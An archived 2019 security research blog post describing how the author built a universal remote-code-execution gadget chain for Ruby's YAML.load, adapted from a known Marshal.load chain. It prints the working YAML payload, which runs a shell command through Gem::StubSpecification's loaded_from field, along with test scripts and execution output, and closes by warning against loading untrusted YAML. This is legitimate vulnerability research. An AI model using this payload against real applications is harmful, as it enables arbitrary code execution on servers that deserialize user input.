

Universal RCE with Ruby YAML.load

Universal RCE with Ruby YAML.load - Etienne Stalmans, Staal draad.

- Published: 2019-03-02
- Original: <<https://staal draad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/>>
- Preserved from: <https://staal draad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Last year [Luke Jahnke](#) wrote an excellent blog post on the [elttam blog](#) about finding a universal RCE deserialization gadget chain for Ruby 2.x. In the post he discusses the process of finding and eventually exploiting a gadget chain for `Marshal.load`. I was curious if the same chain could be used with `YAML.load`. It has been [shown before](#) that using `YAML.load` with user supplied data is bad, but all the posts I could find focuses on Ruby on Rails (RoR). Wouldn't it be nice to have a gadget chain to use in non-RoR applications?

Plan of Action

Initially I decided to reuse the excellent work already done by Luke, since my Ruby skills aren't that great and I'm lazy. So I inserted `YAML.dump(payload)` into his script. Unfortunately this failed, with the following yaml file being created:

```
--- !ruby/object:Gem::Requirement
requirements:
- - ">="
  - !ruby/object:Gem::Version
    version: '0'
```

At the offset it is pretty obvious that this isn't going to give us RCE. There is no RCE payload present and none of the original gadget chain is present. One of the key points from the elttam blog post is that `marshal_dump` is used to setup the `@requirements` global as follows:

```

class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

```

Thus it would be necessary to find a way to set `@requirements` for the YAML payload. Unfortunately there isn't an equivalent method `yaml_dump`. So the `@requirements` will need to be initialized in another way. The created yaml does provide us with a clue on how to get `@requirements` set and by reading the documentation for the [Gem::Requirement](#) gem you'll note that the gem can be initialized with requirements, which can be `Gem::Versions`, Strings or Arrays. An empty set of requirements is the same as "`>= 0`", which seems to match up with what we see in the generated YAML.

How about using `Gem::Requirement.new($dependency_list)` instead of the current `Gem::Requirement.new` for our payload?

```

puts "Generate yaml"
payload2 = YAML.dump(Gem::Requirement.new($dependency_list))

puts payload2

puts "STEP yaml"
YAML.load(payload2) rescue nil
puts

```

This "works", meaning the RCE happens, unfortunately there is no valid YAML produced. The reason for this is that an exception occurs right at the end of the gadget chain in **specific_file.rb**.

Generate yaml

```
uid=500(rubby) gid=500(rubby) groups=500(rubby)
/usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:155:in `name': undefined method `name'
for nil:NilClass (NoMethodError)
  from /usr/lib/ruby/2.3.0/rubygems/source/specific_file.rb:65:in `<=>'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `sort'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `tsort_each_child'
  from /usr/lib/ruby/2.3.0/tsort.rb:415:in `call'
  from /usr/lib/ruby/2.3.0/tsort.rb:415:in `each_strongly_connected_component_from'
  from /usr/lib/ruby/2.3.0/tsort.rb:349:in `block in
each_strongly_connected_component'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `each'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `tsort_each_node'
  from /usr/lib/ruby/2.3.0/tsort.rb:347:in `call'
  from /usr/lib/ruby/2.3.0/tsort.rb:347:in `each_strongly_connected_component'
  from /usr/lib/ruby/2.3.0/tsort.rb:281:in `each'
  from /usr/lib/ruby/2.3.0/tsort.rb:281:in `to_a'
  from /usr/lib/ruby/2.3.0/tsort.rb:281:in `strongly_connected_components'
  from /usr/lib/ruby/2.3.0/tsort.rb:257:in `strongly_connected_components'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:76:in `dependency_order'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:99:in `each'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:107:in `map'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:107:in `inspect'
  from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:101:in `parse'
  from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:131:in `block in initialize'
  from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:131:in `map!'
  from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:131:in `initialize'
  from ex.rb:49:in `new'
  from ex.rb:49:in `<main>'
```

At this point I tried a few variations of changing `$dependency_list` to only contain part of the gadget chain, but hit a new exception each step of the way.

The manual way

Instead of bashing my head against Ruby, I decided I'll create the YAML manually. This meant modifying the previously generated YAML to have our gadget chain instead of the `Gem::Version`.

The first bit of this was really easy, simply switch out `!ruby/object:Gem::Version` for `!ruby/object:Gem::DependencyList`:

```
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
```

Trying to load this with `YAML.load` now results in a new error:

```
/usr/lib/ruby/2.3.0/rubygems/requirement.rb:272:in
`fix_syck_default_key_in_requirements': undefined method `each' for nil:NilClass
(NoMethodError)
    from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:207:in `yaml_initialize'
    from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:211:in `init_with'
<..snip..>
```

Clearly the code ends up at the trigger point in the method `fix_syck_default_key_in_requirements`, so we are probably on the right track. Next I did the lazy debug of simply adding a `puts @requirements` in the file `requirement.rb` at line 270. This outputs

```
#<Gem::DependencyList:0x000000026f2b68>
```

This means the YAML so far is correct and we are getting the `Gem::Requirement` to be initialized with a payload controlled by us. From here on it was simply a process of following the elttam blog post and the gadget chain to make sure all the different components are present in the YAML file. The next part is getting the `.each` call to succeed. The above error tells us that there is a `nil:NilClass` when calling this, which makes perfect sense if you read the blog post

it was found that a call to it's `each` instance method will result in the `sort` method being called on it's `@specs` instance variable

Now we need to ensure that `@specs` is defined in the YAML file. Based on the blog post and the sample script, we know this needs to be an array of `Gem::Source::SpecificFile`. In YAML this would be

```
specs:
  - !ruby/object:Gem::Source::SpecificFile
  - !ruby/object:Gem::Source::SpecificFile
```

One of the `Gem::Source::SpecificFile` needs to have a `spec` instance variable of type `Gem::StubSpecification` and this in turn has the payload for RCE in the `loaded_from` variable.

Putting all this information together (took some trial and error), we end up with:

```
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
specs:
  - !ruby/object:Gem::Source::SpecificFile
    spec: &1 !ruby/object:Gem::StubSpecification
      loaded_from: "|id 1>&2"
  - !ruby/object:Gem::Source::SpecificFile
    spec:
```

Using the following Ruby script to test the payload:

```
require "yaml"

YAML.load(File.read("p.yaml"))
```

The outcome is RCE, and the original error seen when trying to do `YAML.dump` in the first place.

```

rubby@rev:/tmp$ ruby b.rb
uid=500(rubby) gid=500(rubby) groups=500(rubby)
/usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:155:in `name': undefined method `name'
for nil:NilClass (NoMethodError)
  from /usr/lib/ruby/2.3.0/rubygems/source/specific_file.rb:65:in `<=>'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `sort'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `tsort_each_child'
  from /usr/lib/ruby/2.3.0/tsort.rb:415:in `call'
  from /usr/lib/ruby/2.3.0/tsort.rb:415:in `each_strongly_connected_component_from'
  from /usr/lib/ruby/2.3.0/tsort.rb:349:in `block in
each_strongly_connected_component'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `each'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `tsort_each_node'
  from /usr/lib/ruby/2.3.0/tsort.rb:347:in `call'
  from /usr/lib/ruby/2.3.0/tsort.rb:347:in `each_strongly_connected_component'
  from /usr/lib/ruby/2.3.0/tsort.rb:281:in `each'
  from /usr/lib/ruby/2.3.0/tsort.rb:281:in `to_a'
  from /usr/lib/ruby/2.3.0/tsort.rb:281:in `strongly_connected_components'
  from /usr/lib/ruby/2.3.0/tsort.rb:257:in `strongly_connected_components'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:76:in `dependency_order'
  from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:99:in `each'
  from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:272:in
`fix_syck_default_key_in_requirements'
  from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:207:in `yaml_initialize'
  from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:211:in `init_with'
  from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:382:in `init_with'
  from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:374:in `revive'
  from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:208:in
`visit_Psych_Nodes_Mapping'
  from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:16:in `visit'
  from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:6:in `accept'
  from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:32:in `accept'
  from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:311:in
`visit_Psych_Nodes_Document'
  from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:16:in `visit'
  from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:6:in `accept'
  from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:32:in `accept'
  from /usr/lib/ruby/2.3.0/psych/nodes/node.rb:38:in `to_ruby'
  from /usr/lib/ruby/2.3.0/psych.rb:253:in `load'
  from b.rb:3:in `<main>'
rubby@rev:/tmp$

```

I'm not sure if it's possible to completely get rid the error, but then again, I achieved my initial goal of RCE and don't feel like staring at more Ruby.

As always, never use `YAML.load` with user supplied data, better yet, stick to using [SafeYAML](#).

Payload: <https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565>

Archived from <https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/>. Rendered offline from the local Markdown copy.